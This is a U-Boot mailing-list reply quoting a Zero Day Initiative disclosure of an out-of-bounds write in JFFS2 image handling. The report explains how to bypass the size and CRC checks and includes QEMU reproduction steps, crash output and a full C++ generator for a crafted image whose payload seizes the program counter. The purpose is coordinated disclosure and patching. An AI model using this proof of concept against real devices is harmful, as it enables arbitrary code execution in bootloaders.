On Thu, Nov 14, 2024 at 04:02:29AM +0000, [email protected] wrote:
> Hi, > Do you have any updates to share regarding this vulnerability report? Michal, microblaze-generic is the most active platform that enables FS_JFFS2 by default and so vulnerable here. Can you find some resources to look in to fixing this please? Thanks. > > Thanks, > ZDI > > -----Original Message----- > From: ZDI Disclosures Mailbox > Sent: Thursday, July 18, 2024 4:05 PM > To: '[email protected]' <[email protected]>; '[email protected]' > <[email protected]> > Subject: ZDI-CAN-24679: New Vulnerability Report > > ZDI-CAN-24679: Das U-Boot JFFS2 Image Handling Out-Of-Bounds Write Local > Privilege Escalation Vulnerability > > -- CVSS ----------------------------------------- > > 8.2: AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H > > -- ABSTRACT ------------------------------------- > > Trend Micro's Zero Day Initiative has identified a vulnerability affecting > the following products: > Das U-Boot - Das U-Boot > > -- VULNERABILITY DETAILS ------------------------ > * Version tested: 2024.07-rc4 > * Installer file: N/A > * Platform tested: QEMU > > --- > > ### Analysis > > Das U-Boot versions from 2002_11_05_0120 to v2024.07-rc4 are vulnerable to an > arbitrary code execution attack. This vulnerability exists due to an > unchecked memcpy function used when processing a JFFS2 filesystem image. An > attacker could exploit this by crafting a malicious JFFS2 image that tricks > memcpy into overwriting memory at an arbitrary offset with malicious code. > This could result in the attacker executing arbitrary code on the system or > causing other memory corruption issues. > > The parsing of JFFS2 filesystem in Das U-Boot is handled by the > `jffs2_1pass_read_inode()` function defined in `fs/jffs2/jffs2_1pass.c`. ( > https://github.com/qemu/u-boot/blob/master/fs/jffs2/jffs2_1pass.c ) > > At line 777 of this file, there is a statement for memory copy: > > ``` > ldr_memcpy(lDest, src, jNode->dsize); > ``` > > The first two arguments for memcpy are assigned as: > > At line 770: `lDest = (uchar *) (dest + jNode->offset);` At line 755 and 756: > `src = ((uchar *)jNode) + sizeof(struct jffs2_raw_inode);` > > As shown above, the source, destination, and size of the memcpy are > controlled by an attacker and its following content, and Das U-boot does not > properly check these arguments. > > Although Das U-Boot does have some checks on the content of inodes, these > checks can be easily bypassed: > > At line 758, it checks if `JNode->offset > totalSize`, but totalSize is > assigned as totalSize = jNode->isize at line 714. Therefore, this check can > be bypassed by setting `JNode->isize` to 0xFFFFFFFF. > > At lines 763, it also checks the CRC, but this check can be bypassed by > setting both `JNode->csize` and `JNode->data_crc` to 0. > > ### Proof of Concept > > To prove the concept, we created a small program that generates a specially > crafted JFFS2 filesystem image. We then used QEMU to demonstrate the > potential risk of this vulnerability. The Das U-Boot, when reading the > specially crafted filesystem image, writes content given by us to a memory > location specified by us, causing the system to crash. We have tested this in > Ubuntu 14.04. Follow the following instructions to set up the environment and > conduct the PoC test. > > - Install QEMU for MINI2440: > > ``` > sudo apt-get install git git-core > cd ~ > mkdir mini2440_qemu/ > cd mini2440_qemu > git clone git://repo.or.cz/qemu/mini2440.git qemu cd qemu ./configure > --target-list=arm-softmmu --prefix=$HOME/workspace/mini2440_qemu/qemu/mini2440 > make > make install > export PATH=$HOME/workspace/mini2440_qemu/qemu/mini2440/bin:$PATH > git clone https://github.com/WeitaoZhu/mini2440-buildroot.git > cd mini2440-buildroot > make mini2440_defconfig > make menuconfig > ``` > > - Modify Filesystem images to NAND flash with 512B Page and 16 kB erasesize > > ``` > make -j4 > cd ~ > git clone https://github.com/cailiwei/flashimg > cd flashimg > ./autogen.sh > ./configure > make > cp ~/workspace/mini2440_qemu/mini2440-buildroot/output/images/u-boot.bin > ~/flashimg > g++ poc.cpp -o poc > ./poc > echo -e "root\t0x4000\t0x00000000">part.txt > ./flashimg -s 64M -t nand -f nand.bin -p part.txt -w root,test -z 512 > qemu-system-arm -M mini2440 -serial stdio -mtdblock nand.bin -usbdevice mouse > ``` > > - In QEMU, type the following commands: > > ``` > fsload > ls > go 0x32700000 > ``` > > - The output should look like the following > > ``` > MINI2440 # fsload > ### JFFS2 loading 'uImage' to 0x32000000 Scanning JFFS2 FS: . done. > load: Failed to read inode > ### JFFS2 LOAD ERROR<0> for uImage! > MINI2440 # go 0x32700000 > ## Starting application at 0x32700000 ... > qemu: fatal: Trying to execute code outside RAM or ROM at 0x12345678 > > R00=00000001 R01=33d5fb70 R02=00000041 R03=00000006 > R04=33d5fb70 R05=00000002 R06=32700000 R07=00000000 R08=33d5ffdc R09=00000001 > R10=00000000 R11=33d5fbfd > R12=00000020 R13=33d5fb4c R14=33f8c4e8 R15=12345678 > PSR=600001d3 -ZC- A svc32 > Aborted (core dumped) > ``` > > Note: R15 is $pc and it has been modified to 0x12345678 > > poc.cpp: > > ```c > #include <stdio.h> > #include <stdlib.h> > #include <cstdint> > #include <cstring> > #include <string.h> > #include <ctype.h> > #include <sys/stat.h> > using namespace std; > #define JFFS2_MAGIC_BITMASK 0x1985 > #define JFFS2_NODE_ACCURATE 0x2000 > #define JFFS2_FEATURE_INCOMPAT 0xC000 > #define JFFS2_FEATURE_RWCOMPAT_DELETE 0x0000 #define JFFS2_NODETYPE_DIRENT > (JFFS2_FEATURE_INCOMPAT | JFFS2_NODE_ACCURATE | 1) #define > JFFS2_NODETYPE_INODE (JFFS2_FEATURE_INCOMPAT | JFFS2_NODE_ACCURATE | 2) > #define JFFS2_NODETYPE_CLEANMARKER (JFFS2_FEATURE_RWCOMPAT_DELETE | > JFFS2_NODE_ACCURATE | 3) enum > { > DT_UNKNOWN = 0, > # define DT_UNKNOWN DT_UNKNOWN > DT_FIFO = 1, > # define DT_FIFO DT_FIFO > DT_CHR = 2, > # define DT_CHR DT_CHR > DT_DIR = 4, > # define DT_DIR DT_DIR > DT_BLK = 6, > # define DT_BLK DT_BLK > DT_REG = 8, > # define DT_REG DT_REG > DT_LNK = 10, > # define DT_LNK DT_LNK > DT_SOCK = 12, > # define DT_SOCK DT_SOCK > DT_WHT = 14 > # define DT_WHT DT_WHT > }; > uint32_t crc32(unsigned char* ptr,uint32_t Size) { > > uint32_t crcTable[256],crcTmp1; > for (int i=0; i<256; i++) > { > crcTmp1 = i; > for (int j=8; j>0; j--) > { > if (crcTmp1&1) crcTmp1 = (crcTmp1 >> 1) ^ 0xEDB88320L; > else crcTmp1 >>= 1; > } > > crcTable[i] = crcTmp1; > } > int32_t crcTmp2= 0; > while(Size--) > { > crcTmp2 = ((crcTmp2>>8) & 0x00FFFFFF) ^ crcTable[ (crcTmp2^(*ptr)) & 0xFF > ]; > ptr++; > } > return (crcTmp2^0xFFFFFFFF)^0xFFFFFFFF; } struct Jffs2_unknown_node { > int16_t magic; > int16_t nodetype; > int32_t totlen; > int32_t hdr_crc; > }; > struct Jffs2_raw_dirent > { > int16_t magic; > int16_t nodetype; > int32_t totlen; > int32_t hdr_crc; > int32_t pino; > int32_t version; > int32_t ino; > int32_t mctime; > int8_t nsize; > int8_t type; > int8_t unused[2]; > int32_t node_crc; > int32_t name_crc; > }; > struct Jffs2_raw_inode > { > int16_t magic; > int16_t nodetype; > int32_t totlen; > int32_t hdr_crc; > int32_t ino; > int32_t version; > int32_t mode; > int16_t uid; > int16_t gid; > int32_t isize; > int32_t atime; > int32_t mtime; > int32_t ctime; > int32_t offset; > int32_t csize; > int32_t dsize; > int8_t compr; > int8_t usercompr; > int16_t flags; > int32_t data_crc; > int32_t node_crc; > }; > int main(void) > { > //PAYLOAD CONFIG > char TARGET_FILENAME []= "uImage"; > uint32_t TARGET_OFFSET = 0x700000; > uint32_t TARGET_LENGTH = 0x8; > unsigned char PAYLOAD[]= "\x04\xf0\x1f\xe5\x78\x56\x34\x12"; //ldr > $pc,0x12345678 > // > FILE *fp = fopen("poc.jffs2","wb"); > uint16_t padding = 0xFFFF; > Jffs2_unknown_node node; > node.magic = JFFS2_MAGIC_BITMASK; > node.nodetype = JFFS2_NODETYPE_CLEANMARKER; > node.totlen = sizeof(node); > node.hdr_crc = crc32((unsigned > char*)&node,sizeof(Jffs2_unknown_node)-4); > fwrite(&node,1,sizeof(node),fp); > Jffs2_raw_dirent dirent; > dirent.magic = JFFS2_MAGIC_BITMASK; > dirent.nodetype = JFFS2_NODETYPE_DIRENT; > dirent.totlen = sizeof(dirent)+strlen(TARGET_FILENAME); > dirent.hdr_crc = crc32((unsigned > char*)&dirent,sizeof(Jffs2_unknown_node)-4); > dirent.pino = 1; > dirent.version = 0; > dirent.ino = 2; > dirent.mctime = 0; > dirent.nsize = strlen(TARGET_FILENAME); > dirent.type = DT_REG; > dirent.unused[0] = 0; > dirent.unused[1] = 0; > dirent.mctime = 0; > dirent.node_crc = crc32((unsigned > char*)&dirent,sizeof(Jffs2_raw_dirent)-8); > dirent.name_crc = crc32((unsigned > char*)TARGET_FILENAME,strlen(TARGET_FILENAME)); > fwrite(&dirent,1,sizeof(dirent),fp); > fwrite(TARGET_FILENAME,1,strlen(TARGET_FILENAME),fp); > fwrite(&padding,1,sizeof(padding),fp); > Jffs2_raw_inode inode; > inode.magic = JFFS2_MAGIC_BITMASK; > inode.nodetype = JFFS2_NODETYPE_INODE; > inode.totlen = sizeof(inode)+sizeof(PAYLOAD)-1; > inode.hdr_crc = crc32((unsigned > char*)&inode,sizeof(Jffs2_unknown_node)-4); > inode.ino = 2; > inode.version = 1; > inode.mode = 0x81A4; > inode.uid = 0; > inode.gid = 0; > inode.isize = 0xFFFFFFFF; //bypass size limit > inode.atime = 0; > inode.mtime = 0; > inode.ctime = 0; > inode.offset = TARGET_OFFSET; > inode.csize = 0; //bypass crc32 check > inode.dsize = TARGET_LENGTH; > inode.compr = 0; > inode.usercompr = 0; > inode.flags = 0; > inode.data_crc = 0; //bypass crc32 check > inode.node_crc = crc32((unsigned > char*)&inode,sizeof(Jffs2_raw_inode)-8); > fwrite(&inode,1,sizeof(inode),fp); > fwrite(&PAYLOAD,1,sizeof(PAYLOAD)-1,fp); > fwrite(&padding,1,sizeof(padding),fp); > fclose(fp); > return 0; > } > ``` > > > -- CREDIT --------------------------------------- > This vulnerability was discovered by: > Aaron Luo and Spencer Hsieh of VicOne > > -- FURTHER DETAILS ------------------------------ > > Supporting files: > > > If supporting files were contained with this report they are provided within > a password protected ZIP file. The password is the ZDI candidate number in > the form: ZDI-CAN-XXXX where XXXX is the ID number. > > Please confirm receipt of this report. We expect all vendors to remediate ZDI > vulnerabilities within 120 days of the reported date. If you are ready to > release a patch at any point leading up to the deadline, please coordinate > with us so that we may release our advisory detailing the issue. If the > 120-day deadline is reached and no patch has been made available we will > release a limited public advisory with our own mitigations, so that the > public can protect themselves in the absence of a patch. Please keep us > updated regarding the status of this issue and feel free to contact us at any > time: > > Zero Day Initiative > [email protected] > > The PGP key used for all ZDI vendor communications is available from: > > http://www.zerodayinitiative.com/documents/disclosures-pgp-key.asc > > -- INFORMATION ABOUT THE ZDI -------------------- Established by TippingPoint > and acquired by Trend Micro, the Zero Day Initiative (ZDI) neither re-sells > vulnerability details nor exploit code. Instead, upon notifying the affected > product vendor, the ZDI provides its Trend Micro TippingPoint customers with > zero day protection through its intrusion prevention technology. Explicit > details regarding the specifics of the vulnerability are not exposed to any > parties until an official vendor patch is publicly available. > > Please contact us for further details or refer to: > > http://www.zerodayinitiative.com > > -- DISCLOSURE POLICY ---------------------------- > > Our vulnerability disclosure policy is available online at: > > http://www.zerodayinitiative.com/advisories/disclosure_policy/ > > TREND MICRO EMAIL NOTICE > > The information contained in this email and any attachments is confidential > and may be subject to copyright or other intellectual property protection. If > you are not the intended recipient, you are not authorized to use or disclose > this information, and we request that you notify us by reply mail or > telephone and delete the original message from your mail system. > > For details about what personal information we collect and why, please see > our Privacy Notice on our website at: Read privacy > policy<http://www.trendmicro.com/privacy> -- Tom
signature.asc
Description: PGP signature

